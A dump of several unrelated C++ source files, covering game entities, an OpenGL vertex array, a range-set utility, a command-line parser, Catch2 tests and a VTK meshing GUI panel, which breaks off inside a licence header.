and not affected by std::ios::sync_with_stdio /// extern NOWIDE_DECL detail::winconsole_ostream clog; #endif } // namespace nowide #ifdef NOWIDE_MSVC #pragma warning(pop) #endif #ifdef NOWIDE_WINDOWS //#include // pops abi_prefix.hpp pragmas #endif #endif 1-10 // Copyright 2006 - 2019. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef SGE_D3D9_TEXTURE_MIPMAP_AUTO_GENERATE_USAGE_HPP_INCLUDED #define SGE_D3D9_TEXTURE_MIPMAP_AUTO_GENERATE_USAGE_HPP_INCLUDED #include #include namespace sge { namespace d3d9 { namespace texture { namespace mipmap { sge::d3d9::usage const auto_generate_usage(sge::renderer::texture::mipmap::auto_generate); } } } } #endif jackred/CW_GameProgrammingsource/Wall.cpp // // Created by on 16/02/2020. // #include "Wall.hpp" scene::Wall::Wall() : AObject(ModelType::CUBE) { _size = _size * glm::vec3(2.0f, 1.2f, 2.0f); } void scene::Wall::setPosition(glm::vec3 position) { AObject::setPosition(position * _size); } void scene::Wall::setShape(glm::vec3 shape) { shape.x = -shape.x; shape.z = -shape.z; _shape = shape; _offset = (_size * _shape) / glm::vec3(2); } const glm::vec3 scene::Wall::getMin() const { glm::vec3 size(_size * _shape); size.y = -size.y; return _position - _offset + size / 2.0f; } const glm::vec3 scene::Wall::getMax() const { glm::vec3 size(_size * _shape); size.y = -size.y; return _position - _offset - size / 2.0f; } bryanedds/ax #include "ax/name.hpp" #include "ax/hash.hpp" namespace ax { name::name(const char* name_str) : name(std::string(name_str)) { } name::name(const std::string& name_str) : hash_code(get_hash(name_str)), name_str(name_str) { } name::name(std::string&& name_str) : hash_code(get_hash(name_str)), name_str(name_str) { } bool name::operator==(const ax::name& that) const { return name_str == that.name_str; } } //========================================================================== // ObTools::Misc: range.cc // // Implementation of RangeSet // // Copyright (c) 2006 . All rights reserved // This code comes with NO WARRANTY and is subject to licence agreement //========================================================================== // Data structure: // List of ranges, each comprising start and length // Stored in order // No overlaps // No two ranges touch - always amalgamated before insertion // => Set is always optimal #include "ot-misc.h" #include "ot-text.h" #include "ot-xml.h" #include #include #include #include namespace ObTools { namespace Misc { //-------------------------------------------------------------------------- // Read from a comma-delimited range string // e.g. 1-100,110,120,200-1000 // Total length is not set void UInt64RangeSet::read(const string& text) { // Split into comma-delimited chunks vector ranges = Text::split(text); for(vector::iterator p = ranges.begin(); p!=ranges.end(); ++p) { string range = *p; if (range.empty()) continue; // Split again on '-' vector ends = Text::split(range, '-'); offset_t start = Text::stoi(ends[0]); length_t length = 1; // Two ends? if (ends.size() >= 2) length = Text::stoi64(ends[1])-start+1; insert(start, length); } } //-------------------------------------------------------------------------- // Convert to a comma-delimited string // e.g. 1-100,110,120,200-1000 // Total length is not recorded string UInt64RangeSet::str() const { string s; for(const_iterator p = ranges.begin(); p!=ranges.end(); ++p) { const Range& r = *p; if (!s.empty()) s+=","; s+=Text::i64tos(r.start); if (r.length>1) { s+='-'; s+=Text::i64tos(r.start+r.length-1); } } return s; } //-------------------------------------------------------------------------- // Read from XML - reads elements // (or other element name if provided) from given parent element. // Ranges may overlap and will be optimised // together. Also reads end_offset attribute of parent if present void UInt64RangeSet::read_from_xml(const XML::Element& parent, const string& element_name) { end_offset = parent.get_attr_int64("end_offset"); for(XML::Element::const_iterator p(parent.get_children(element_name));p;++p) { const XML::Element& range = *p; insert(range.get_attr_int64("start"), range.get_attr_int64("length")); } } //-------------------------------------------------------------------------- // Convert to XML // Adds elements to the given XML element // or other element name if provided // and adds end_offset attribute to parent void UInt64RangeSet::add_to_xml(XML::Element& parent, const string& element_name) const { for(const_iterator p = ranges.begin(); p!=ranges.end(); ++p) { const Range& r = *p; XML::Element& re = parent.add(element_name); re.set_attr_int64("start", r.start); re.set_attr_int64("length", r.length); } parent.set_attr_int64("end_offset", end_offset); } //-------------------------------------------------------------------------- // Read as binary from a channel; format as below void UInt64RangeSet::read(Channel::Reader& chan) { end_offset = chan.read_nbo_64(); uint32_t n = chan.read_nbo_32(); while (n--) { uint64_t start = chan.read_nbo_64(); uint64_t length = chan.read_nbo_64(); insert(start, length); } } //-------------------------------------------------------------------------- // Write as binary to a channel // Format is 64-bit total length, then 4-byte count of entries, // then alternating 64-bit offset, length // All values NBO void UInt64RangeSet::write(Channel::Writer& chan) const { chan.write_nbo_64(end_offset); chan.write_nbo_32(ranges.size()); for(const_iterator p = ranges.begin(); p!=ranges.end(); ++p) { const Range& r = *p; chan.write_nbo_64(r.start); chan.write_nbo_64(r.length); } } //-------------------------------------------------------------------------- // Dump the set to the given output, one line per range, in form // start, length void UInt64RangeSet::dump(ostream& sout) const { for(const_iterator p = ranges.begin(); p!=ranges.end(); ++p) { const Range& r = *p; sout << r.start << ", " << r.length << endl; } } //-------------------------------------------------------------------------- // << operator to write RangeSet to ostream, in short text form ostream& operator<<(ostream& s, const UInt64RangeSet& rs) { s << rs.str(); return s; } }} // namespaces nfluxgb/luabind #pragma once #include "lua_fwd.hpp" #include #include #include namespace luabind { namespace { struct call_helper { public: call_helper(lua_State* L) : L_(L) {} lua_State* L_; }; template call_helper& operator&(call_helper& helper, T obj) { detail::push_value(helper.L_, obj); return helper; } } template typename Md::result_type call_typed_method(lua_State* L, Args... args) { detail::push_name(L, Md::name()); call_helper h(L); auto _ = (h & ... & args); constexpr bool has_return = !std::is_void::value; detail::call_impl(L, std::tuple_size>::value, has_return ? 1 : 0); if constexpr(has_return) { return get_parameter(L, 1, std::declval()); } } template typename Md::result_type call_named_method(lua_State* L, std::string fn, Args... args) { typename Md::result_type ret; detail::push_name(L, fn.c_str()); call_helper h(L); (h & ... & args); constexpr bool has_return = !std::is_void::value; detail::call_impl(L, std::tuple_size>::value, has_return ? 1 : 0); if constexpr(has_return) { ret = get_parameter(L, 1, std::declval()); } return ret; } }AoD314/mlib #include #include "mlib/command_line_parser.hpp" #include "mlib/convert.hpp" #include "mlib/exception.hpp" namespace mlib { Params::Params() : help_message(""), def_value(""), keys(), number(0), param_type(CMLParamType::UNKNOWN) {} Params::Params(std::string ks, std::string def, std::string help, int num) : help_message(help), def_value(def), keys(split_string(ks)), number(num), param_type(CMLParamType::UNKNOWN) { for (size_t i = 0; i < keys.size(); i++) { std::string key = keys[i]; if (key[0] == '@') { param_type = CMLParamType::NUMBER; break; } if (key[0] == ':') { param_type = CMLParamType::VALUE; break; } if (CMLParamType::UNKNOWN == param_type) { param_type = CMLParamType::BOOL; def_value = cat_string(def_value); if (def_value.empty()) { def_value = "false"; } break; } } for (size_t i = 0; i < keys.size(); i++) { if (keys[i][0] == '@' || keys[i][0] == ':') { keys[i] = keys[i].substr(1, keys[i].length() - 1); } } } std::string Params::get_def() const { return def_value; } int Params::get_number() const { return number; } std::string Params::get_help() const { return help_message; } CMLParamType Params::type() const { return param_type; } void Params::set_number(int num) { number = num; } void Params::set_def(std::string dv) { def_value = dv; } std::vector Params::get_keys() { return keys; } bool Params::in(std::string key) { for (size_t i = 0; i < keys.size(); i++) { if (keys[i].compare(key) == 0) { return true; } } return false; } CommandLineParser::CommandLineParser(int argc, char** argv, const std::string keys) : error(false), error_message(""), about_message(""), path_to_app(""), app_name(""), data() { setup_apps(argv[0]); std::vector kk = split_range_string(keys, '{', '}'); if (kk.size() == 0) { error = true; error_message = "Variable KEYS could not be empty\n"; } int index = 0; for (size_t i = 0; i < kk.size(); i++) { std::vector l = split_string(kk[i], '|', true); Params p(l[0], l[1], l[2]); if (cat_string(l[0]).empty()) { error = true; error_message = "Field KEYS could not be empty\n"; } else { if (p.type() == mlib::CMLParamType::NUMBER) { p.set_number(index); index++; } data.push_back(p); } } // parse argv index = 0; for (int i = 1; i < argc; i++) { // '-t' => 't' // '--time' => 'time' std::string s = clear_params(argv[i]); std::string next = ""; if (i + 1 < argc) next = std::string(argv[i+1]); if (s.find('=') != std::string::npos && s.find('=') < s.length()) { std::vector k_v = split_string(s, '=', true); s = k_v[0]; next = k_v[1]; } Params * p = find_params_by_name(s); if (p == nullptr) continue; mlib::CMLParamType t = p->type(); switch(t) { case mlib::CMLParamType::BOOL: apply_params(s, "true"); break; case mlib::CMLParamType::NUMBER: apply_params(index, s); break; case mlib::CMLParamType::VALUE: apply_params(s, next); i++; break; } } } void CommandLineParser::about(std::string message) { about_message = message; } void CommandLineParser::apply_params(std::string key, std::string value) { Params * p = find_params_by_name(key); if (p != nullptr) { p->set_def(value); } } void CommandLineParser::apply_params(int i, std::string value) { Params * p = find_params_by_number(i); if (p != nullptr) { p->set_def(value); } } void CommandLineParser::setup_apps(std::string app) { size_t pos_s = app.find_last_of("/\\"); if (pos_s == std::string::npos) { path_to_app = ""; app_name = app; } else { path_to_app = app.substr(0, pos_s); app_name = app.substr(pos_s + 1, app.length() - pos_s); } } std::string CommandLineParser::clear_params(std::string param) { while (param.length() > 1 && param[0] == '-') { param = param.substr(1, param.length() - 1); } return param; } Params * CommandLineParser::find_params_by_name(std::string name) { for (size_t i = 0; i < data.size(); i++) { if (data[i].in(name)) { return &data[i]; } } return nullptr; } Params * CommandLineParser::find_params_by_number(int num) { for (size_t i = 0; i < data.size(); i++) { if (data[i].get_number() == num) { return &data[i]; } } return nullptr; } std::string CommandLineParser::get_path_to_application() { return path_to_app; } bool CommandLineParser::has(const std::string& name) { Params * p = find_params_by_name(name); if (p == nullptr) { return false; } else { if (p->type() == mlib::CMLParamType::BOOL) { if (p->get_def() == "true") { return true; } else { return false; } } else return false; } } void CommandLineParser::print_help() { if (about_message != "") { std::cout << about_message << std::endl; } std::cout << "Usage: " << app_name << " [params] " << std::endl; for (size_t i = 0; i < data.size(); i++) { Params * p = &data[i]; if (p->type() == mlib::CMLParamType::NUMBER) continue; std::vector ks = p->get_keys(); for (size_t j = 0; j < ks.size(); j++) { std::string k = ks[j]; if (k.length() > 1) { std::cout << "--"; } else { std::cout << "-"; } std::cout << k; if (j != ks.size() - 1) { std::cout << ", "; } } std::string dv = cat_string(p->get_def()); if (dv.compare("") != 0) { std::cout << " (value:" << dv << ")"; } std::cout << "\n\t\t" << p->get_help() << std::endl; } std::cout << std::endl; for (size_t i = 0; i < data.size(); i++) { Params * p = &data[i]; if (p->type() != mlib::CMLParamType::NUMBER) continue; std::cout << "\t"; std::cout << p->get_keys()[0]; std::string dv = cat_string(p->get_def()); if (dv.compare("") != 0) { std::cout << " (value:" << dv << ")"; } std::cout << "\n\t\t" << p->get_help() << std::endl; } } void CommandLineParser::print_errors() { if (is_error()) { std::cout << error_message << std::endl; } } bool CommandLineParser::is_error() { return error; } } 10-100 #include "core/findstring.h" #include "catch.hpp" namespace euco = euphoria::core; TEST_CASE("findstring 1", "[findstring]") { CHECK(euco::find("abc", "a")); CHECK(euco::find("abc", "b")); CHECK(euco::find("abc", "c")); CHECK_FALSE(euco::find("abc", "d")); } TEST_CASE("findstring 2", "[findstring]") { const auto abc = std::vector {"a", "b", "c"}; // check for a, b or c is in any of the lists entries CHECK(euco::find(abc, "a")); CHECK(euco::find(abc, "b")); CHECK(euco::find(abc, "c")); CHECK_FALSE(euco::find(abc, "d")); // must contain a, b AND c CHECK(euco::find("aabbcc", abc)); CHECK(euco::find("aabbcc", abc)); CHECK(euco::find("bcabca", abc)); CHECK(euco::find("cab", abc)); // doesnt contain a, b AND c CHECK_FALSE(euco::find("dcb", abc)); } TEST_CASE("findstring 3", "[findstring]") { const auto animals = std::vector {"cat and dog with hat", "kitty cat and doggo", "dog and cat", "horse, cat and dog"}; const auto pets = std::vector {"cat", "dog"}; const auto garfield = std::vector {"cat", "dog", "human"}; CHECK(euco::find(animals, "dog")); CHECK(euco::find(animals, "cat")); CHECK_FALSE(euco::find(animals, "human")); CHECK(euco::find(animals, pets)); CHECK_FALSE(euco::find(animals, garfield)); } backwardspy/leviathan #pragma once #include "leviathan/lvpch.h" #include "leviathan/platform/opengl/renderer/vertex_array.h" namespace lv { namespace opengl { GLenum to_gl_type(ElementType type) { switch (type) { case ElementType::Float: return GL_FLOAT; case ElementType::UInt: return GL_UNSIGNED_INT; default: throw exc::EnumeratorNotImplemented {}; } } VertexArray::VertexArray(std::vector const&& vertices, std::vector const&& indices) : element_count { indices.size() } { glCreateVertexArrays(1, &vao); glBindVertexArray(vao); glCreateBuffers(1, &vbo); glBindBuffer(GL_ARRAY_BUFFER, vbo); glBufferData(GL_ARRAY_BUFFER, std::size(vertices) * sizeof(Vertex), vertices.data(), GL_STATIC_DRAW); GLuint position = 0; size_t offset = 0; for (auto& element : element_layout()) { glEnableVertexAttribArray(position); glVertexAttribPointer( position, (GLint) element.components, to_gl_type(element.type), GL_FALSE, sizeof(Vertex), (void const* const) offset ); position++; offset += element.size; } glBindBuffer(GL_ARRAY_BUFFER, 0); glCreateBuffers(1, &ibo); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ibo); glBufferData(GL_ELEMENT_ARRAY_BUFFER, std::size(indices) * sizeof(Index), indices.data(), GL_STATIC_DRAW); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, 0); glBindVertexArray(0); } VertexArray::~VertexArray() { glDeleteVertexArrays(1, &vao); vao = 0; glDeleteBuffers(1, &vbo); vbo = 0; glDeleteBuffers(1, &ibo); ibo = 0; } void VertexArray::use() { glBindVertexArray(vao); glBindBuffer(GL_ARRAY_BUFFER, vbo); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ibo); } } }paulahitz8/ApolloGame/Source/Asteroid.cpp #include "Asteroid.h" #include "App.h" #include "Textures.h" #include "Audio.h" #include "Input.h" #include "Render.h" #include "Scene.h" #include "Log.h" #include "Collisions.h" #include "FadeScreen.h" #include "Point.h" #include "Player.h" Asteroid::Asteroid() { name.Create("asteroid"); } Asteroid::~Asteroid() {} bool Asteroid::Awake(pugi::xml_node&) { return true; } bool Asteroid::Start() { LOG("Loading player textures"); asteroidTexture = app->tex->Load("Assets/Textures/Asteroids.png"); asteroidTurnAngle = 4.0f; asteroid1Pos = { 1700.0f, 350.0f }; asteroid1Col = app->collisions->AddCollider(asteroid1Pos.x + 33, asteroid1Pos.y + 33, 33, CircleCollider::Type::ASTEROID, this); asteroid1Rect = { 39, 25, 90, 88 }; direction1 = true; as1Boom = false; asteroid2Pos = { 1800.0f, 350.0f }; asteroid2Col = app->collisions->AddCollider(asteroid2Pos.x + 25, asteroid2Pos.y + 25, 25, CircleCollider::Type::ASTEROID, this); asteroid2Rect = { 278, 140, 53, 58 }; direction2 = false; as2Boom = false; asteroid3Pos = { 6300.0f, 350.0f }; asteroid3Col = app->collisions->AddCollider(asteroid3Pos.x + 33, asteroid3Pos.y + 33, 33, CircleCollider::Type::ASTEROID, this); asteroid3Rect = { 255, 27, 76, 69 }; direction3 = true; as3Boom = false; asteroid4Pos = { 6400.0f, 350.0f }; asteroid4Col = app->collisions->AddCollider(asteroid4Pos.x + 33, asteroid4Pos.y + 33, 33, CircleCollider::Type::ASTEROID, this); asteroid4Rect = { 458, 21, 80, 88 }; direction4 = false; as4Boom = false; asteroid5Pos = { 1600.0f, 30.0f }; asteroid5Col = app->collisions->AddCollider(asteroid5Pos.x + 33, asteroid5Pos.y + 33, 33, CircleCollider::Type::ASTEROID, this); asteroid5Rect = { 355, 33, 78, 69 }; direction5 = true; as5Boom = false; asteroid6Pos = { 6200.0f, 50.0f }; asteroid6Col = app->collisions->AddCollider(asteroid6Pos.x + 25, asteroid6Pos.y + 25, 25, CircleCollider::Type::ASTEROID, this); asteroid6Rect = { 473, 149, 45, 38 }; direction6 = false; as6Boom = false; return true; } bool Asteroid::PreUpdate() { return true; } bool Asteroid::Update(float dt) { asteroidRotation += asteroidTurnAngle; if (asteroidRotation > 360) { asteroidRotation = asteroidRotation / 360; } if (asteroid1Pos.y > 630) { direction1 = false; } else if (asteroid1Pos.y < 10) { direction1 = true; } if (asteroid2Pos.y > 630) { direction2 = false; } else if (asteroid2Pos.y < 10) { direction2 = true; } if (asteroid3Pos.y > 630) { direction3 = false; } else if (asteroid3Pos.y < 10) { direction3 = true; } if (asteroid4Pos.y > 630) { direction4 = false; } else if (asteroid4Pos.y < 10) { direction4 = true; } if (asteroid5Pos.y > 630) { direction5 = false; } else if (asteroid5Pos.y < 10) { direction5 = true; } if (asteroid6Pos.y > 630) { direction6 = false; } else if (asteroid6Pos.y < 10) { direction6 = true; } if (direction1) { asteroid1Pos.y++; } else { asteroid1Pos.y--; } if (direction2) { asteroid2Pos.y++; } else { asteroid2Pos.y--; } if (direction3) { asteroid3Pos.y++; } else { asteroid3Pos.y--; } if (direction4) { asteroid4Pos.y++; } else { asteroid4Pos.y--; } if (direction5) { asteroid5Pos.y++; } else { asteroid5Pos.y--; } if (direction6) { asteroid6Pos.y++; } else { asteroid6Pos.y--; } asteroid1Col->SetPos(asteroid1Pos.x + 33, asteroid1Pos.y + 33); asteroid2Col->SetPos(asteroid2Pos.x + 25, asteroid2Pos.y + 25); asteroid3Col->SetPos(asteroid3Pos.x + 33, asteroid3Pos.y + 33); asteroid4Col->SetPos(asteroid4Pos.x + 33, asteroid4Pos.y + 33); asteroid5Col->SetPos(asteroid5Pos.x + 33, asteroid5Pos.y + 33); asteroid6Col->SetPos(asteroid6Pos.x + 25, asteroid6Pos.y + 25); if (!as1Boom) { app->render->DrawTexture(asteroidTexture, asteroid1Pos.x, asteroid1Pos.y, &asteroid1Rect, 1.0f, asteroidRotation); } if (!as2Boom) { app->render->DrawTexture(asteroidTexture, asteroid2Pos.x, asteroid2Pos.y, &asteroid2Rect, 1.0f, asteroidRotation); } if (!as3Boom) { app->render->DrawTexture(asteroidTexture, asteroid3Pos.x, asteroid3Pos.y, &asteroid3Rect, 1.0f, asteroidRotation); } if (!as4Boom) { app->render->DrawTexture(asteroidTexture, asteroid4Pos.x, asteroid4Pos.y, &asteroid4Rect, 1.0f, asteroidRotation); } if (!as5Boom) { app->render->DrawTexture(asteroidTexture, asteroid5Pos.x, asteroid5Pos.y, &asteroid5Rect, 1.0f, asteroidRotation); } if (!as6Boom) { app->render->DrawTexture(asteroidTexture, asteroid6Pos.x, asteroid6Pos.y, &asteroid6Rect, 1.0f, asteroidRotation); } return true; } bool Asteroid::PostUpdate() { return true; } bool Asteroid::CleanUp() { //Unload the textures app->tex->UnLoad(asteroidTexture); return true; } /*========================================================================= Program: MIMX Meshing Toolkit Module: $RCSfile: vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup.cxx,v $ Language: C++ Date: $Date: 2012/12/10 15:14:59 $ Version: $Revision: 1.1 $ Musculoskeletal Imaging, Modelling and Experimentation (MIMX) Center for Computer Aided Design The University of Iowa Iowa City, IA 52242 http://www.ccad.uiowa.edu/mimx/ Copyright (c) The University of Iowa. All rights reserved. See MIMXCopyright.txt or http://www.ccad.uiowa.edu/mimx/Copyright.htm for details. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the above copyright notices for more information. =========================================================================*/ #include "vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup.h" #include "vtkKWMimxMainWindow.h" #include "vtkMimxTraceContourWidget.h" #include "vtkMimxErrorCallback.h" #include "vtkKWMimxMainNotebook.h" #include "vtkActor.h" #include "vtkCellData.h" #include "vtkMimxExtrudePolyData.h" #include "vtkMimxSurfacePolyDataActor.h" #include "vtkPolyData.h" #include "vtkPolyDataMapper.h" #include "vtkMimxUnstructuredGridActor.h" #include "vtkUnstructuredGrid.h" #include "vtkProperty.h" #include "vtkCellTypes.h" #include "vtkGeometryFilter.h" #include "vtkIdList.h" #include "vtkPointData.h" #include "vtkMimxMeshActor.h" #include "vtkKWApplication.h" #include "vtkKWFileBrowserDialog.h" #include "vtkKWEvent.h" #include "vtkKWFrame.h" #include "vtkKWFrameWithLabel.h" #include "vtkKWIcon.h" #include "vtkKWInternationalization.h" #include "vtkKWLabel.h" #include "vtkKWMenu.h" #include "vtkKWMenuButton.h" #include "vtkKWMenuButtonWithLabel.h" #include "vtkKWNotebook.h" #include "vtkKWOptions.h" #include "vtkKWCheckButtonWithLabel.h" #include "vtkKWRenderWidget.h" #include "vtkKWTkUtilities.h" #include "vtkLinkedListWrapper.h" #include "vtkMath.h" #include "vtkIntArray.h" #include "vtkRenderer.h" #include "vtkObjectFactory.h" #include "vtkKWPushButton.h" #include "vtkKWComboBoxWithLabel.h" #include "vtkKWComboBox.h" #include "vtkKWEntryWithLabel.h" #include "vtkKWMimxMainUserInterfacePanel.h" #include #include // define the option types #define VTK_KW_OPTION_NONE 0 #define VTK_KW_OPTION_LOAD 1 //---------------------------------------------------------------------------- vtkStandardNewMacro(vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup); vtkCxxRevisionMacro(vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup, "$Revision: 1.1 $"); //---------------------------------------------------------------------------- vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup() { this->MimxMainWindow = NULL; this->ObjectListComboBox = NULL; this->ComponentFrame = NULL; } //---------------------------------------------------------------------------- vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::~vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup() { if(this->ObjectListComboBox) this->ObjectListComboBox->Delete(); if (this->ComponentFrame) this->ComponentFrame->Delete(); } //-------------------------------------------------------------------------- void vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::CreateWidget() { if(this->IsCreated()) { vtkErrorMacro("class already created"); return; } this->Superclass::CreateWidget(); this->MainFrame->SetParent(this->GetParent()); this->MainFrame->Create(); //this->MainFrame->SetLabelText("Extract Surface"); this->GetApplication()->Script( "pack %s -side top -anchor nw -expand n -padx 2 -pady 0 -fill x", this->MainFrame->GetWidgetName()); if (!this->ComponentFrame) this->ComponentFrame = vtkKWFrameWithLabel::New(); this->ComponentFrame->SetParent(this->MainFrame); this->ComponentFrame->Create(); this->ComponentFrame->SetLabelText("Mesh"); this->ComponentFrame->CollapseFrame( ); this->GetApplication()->Script( "pack %s -side top -anchor nw -expand y -padx 2 -pady 2 -fill x", this->ComponentFrame->GetWidgetName()); if(!this->ObjectListComboBox) this->ObjectListComboBox = vtkKWComboBoxWithLabel::New(); this->ObjectListComboBox->SetParent(this->ComponentFrame->GetFrame()); this->ObjectListComboBox->Create(); this->ObjectListComboBox->SetWidth(20); this->ObjectListComboBox->SetLabelWidth(15); this->ObjectListComboBox->SetLabelText("Mesh : "); this->ObjectListComboBox->GetWidget()->ReadOnlyOn(); this->GetApplication()->Script( "pack %s -side top -anchor nw -expand 0 -padx 2 -pady 6 -fill x", this->ObjectListComboBox->GetWidgetName()); this->ApplyButton->SetParent(this->MainFrame); this->ApplyButton->Create(); this->ApplyButton->SetReliefToFlat(); this->ApplyButton->SetImageToIcon( this->GetMimxMainWindow()->GetApplyButtonIcon() ); this->ApplyButton->SetCommand(this, "CreateFEMeshFromSurfaceExtractionApplyCallback"); this->GetApplication()->Script( "pack %s -side left -anchor nw -expand y -padx 5 -pady 6", this->ApplyButton->GetWidgetName()); this->CancelButton->SetParent(this->MainFrame); this->CancelButton->Create(); this->CancelButton->SetReliefToFlat(); this->CancelButton->SetImageToIcon( this->GetMimxMainWindow()->GetCancelButtonIcon() ); this->CancelButton->SetCommand(this, "CreateFEMeshFromSurfaceExtractionCancelCallback"); this->GetApplication()->Script( "pack %s -side right -anchor ne -expand n -padx 5 -pady 6", this->CancelButton->GetWidgetName()); } //---------------------------------------------------------------------------- void vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::Update() { this->UpdateEnableState(); } //--------------------------------------------------------------------------- void vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::UpdateEnableState() { this->UpdateObjectLists(); this->Superclass::UpdateEnableState(); } //---------------------------------------------------------------------------- int vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::CreateFEMeshFromSurfaceExtractionApplyCallback() { vtkMimxErrorCallback *callback = this->GetMimxMainWindow()->GetErrorCallback(); if(!strcmp(this->ObjectListComboBox->GetWidget()->GetValue(),"")) { callback->ErrorMessage("FE Mesh not selected"); return 0; } vtkKWComboBox *combobox = this->ObjectListComboBox->GetWidget(); const char *name = combobox->GetValue(); int num = combobox->GetValueIndex(name); if(num < 0 || num > combobox->GetNumberOfValues()-1) { callback->ErrorMessage("Choose valid FE Mesh"); combobox->SetValue(""); return 0; } vtkUnstructuredGrid *ugrid = vtkMimxMeshActor::SafeDownCast(this->FEMeshList ->GetItem(combobox->GetValueIndex(name)))->GetDataSet(); vtkGeometryFilter *geofil = vtkGeometryFilter::New(); geofil->SetInput(ugrid); geofil->Update(); vtkCellTypes *celltypes = vtkCellTypes::New(); geofil->GetOutput()->GetCellTypes(celltypes); int i; for(i =0; i < celltypes->GetNumberOfTypes(); i++) { if(celltypes->GetCellType(i) != 9) { callback->ErrorMessage("Extracted mesh should contain only quadrilaterals"); celltypes->Delete(); geofil->Delete(); return 0; } } vtkUnstructuredGrid *unstgrid = vtkUnstructuredGrid::New(); unstgrid->SetPoints(geofil->GetOutput()->GetPoints()); unstgrid->Allocate(geofil->GetOutput()->GetNumberOfCells()); vtkIdList * unstIdlist = vtkIdList ::New(); for (int i = 0; iGetOutput()->GetNumberOfCells(); i++) { geofil->GetOutput()->GetCellPoints(i,unstIdlist); unstgrid->InsertNextCell(9,unstIdlist); unstIdlist->Initialize(); } unstIdlist->Delete(); geofil->Delete(); vtkMimxMeshActor *meshActor = vtkMimxMeshActor::New(); this->FEMeshList->AppendItem(meshActor); meshActor->SetDataSet( unstgrid ); meshActor->SetRenderer( this->GetMimxMainWindow()->GetRenderWidget()->GetRenderer() ); meshActor->SetInteractor( this->GetMimxMainWindow()->GetRenderWidget()->GetRenderWindowInteractor() ); unstgrid->Delete(); if(ugrid->GetPointData()->GetArray("Node_Numbers")) { vtkIntArray *nodenumbers = vtkIntArray::New(); nodenumbers->DeepCopy(ugrid->GetPointData()->GetArray("Node_Numbers")); nodenumbers->SetName("Node_Numbers"); vtkMimxMeshActor::SafeDownCast(this->FEMeshList->GetItem( this->FEMeshList->GetNumberOfItems()-1))->GetDataSet()-> GetPointData()->AddArray(nodenumbers); nodenumbers->Delete(); } this->Count++; vtkMimxMeshActor::SafeDownCast(this->FEMeshList->GetItem( this->FEMeshList->GetNumberOfItems()-1))->SetObjectName("Extract_Surface_",Count); //vtkMimxMeshActor::SafeDownCast(this->FEMeshList->GetItem( // this->FEMeshList->GetNumberOfItems()-1))->GetDataSet()->Modified(); //this->GetMimxMainWindow()->GetRenderWidget()->AddViewProp( // this->FEMeshList->GetItem(this->FEMeshList->GetNumberOfItems()-1)->GetActor()); this->GetMimxMainWindow()->GetRenderWidget()->Render(); this->GetMimxMainWindow()->GetRenderWidget()->ResetCamera(); this->GetMimxMainWindow()->GetViewProperties()->AddObjectList( this->FEMeshList->GetItem(this->FEMeshList->GetNumberOfItems()-1)); this->GetMimxMainWindow()->SetStatusText("Created Mesh"); return 1; } //---------------------------------------------------------------------------- void vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::PrintSelf(ostream& os, vtkIndent indent) { this->Superclass::PrintSelf(os,indent); } //---------------------------------------------------------------------------- void vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::CreateFEMeshFromSurfaceExtractionCancelCallback() { this->GetApplication()->Script("pack forget %s", this->MainFrame->GetWidgetName()); this->MenuGroup->SetMenuButtonsEnabled(1); this->GetMimxMainWindow()->GetMainUserInterfacePanel()->GetMimxMainNotebook()->SetEnabled(1); } //---------------------------------------------------------------------------------------- void vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::UpdateObjectLists() { this->ObjectListComboBox->GetWidget()->DeleteAllValues(); int defaultItem = -1; for (int i = 0; i < this->FEMeshList->GetNumberOfItems(); i++) { ObjectListComboBox->GetWidget()->AddValue( this->FEMeshList->GetItem(i)->GetFileName()); int viewedItem = this->GetMimxMainWindow()->GetRenderWidget()->GetRenderer()->HasViewProp( this->FEMeshList->GetItem(i)->GetActor()); if ( (defaultItem == -1) && ( viewedItem ) ) { defaultItem = i; } } if (defaultItem != -1) { ObjectListComboBox->GetWidget()->SetValue( this->FEMeshList->GetItem(defaultItem)->GetFileName()); } } //------------------------------------------------------------------------------ void vtkKWMimxCreateFEMeshFromSurfaceExtractionGroup::CreateFEMeshFromSurfaceExtractionDoneCallback() { if(this->CreateFEMeshFromSurfaceExtractionApplyCallback()) this->CreateFEMeshFromSurfaceExtractionCancelCallback(); } //--------------------------------------------------------------------------------- /* ** Copyright(C) 2018, StepToSky ** ** Redistribution and use in source and binary forms, with or without ** modification, are permitted provided that the following conditions are met: ** ** 1.Redistributions of source code must retain the above copyright notice, this ** list of conditions and the following disclaimer. ** 2.Redistributions in binary form must reproduce the above copyright notice, ** this list of conditions and the following disclaimer in the documentation ** and / or other materials provided with the distribution. ** 3.Neither the name of StepToSky nor the names of its contributors ** may be used to endorse or promote products derived from this software ** without specific prior written permission. ** ** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ** ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ** WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ** DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ** ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ** (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ** LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ** ON 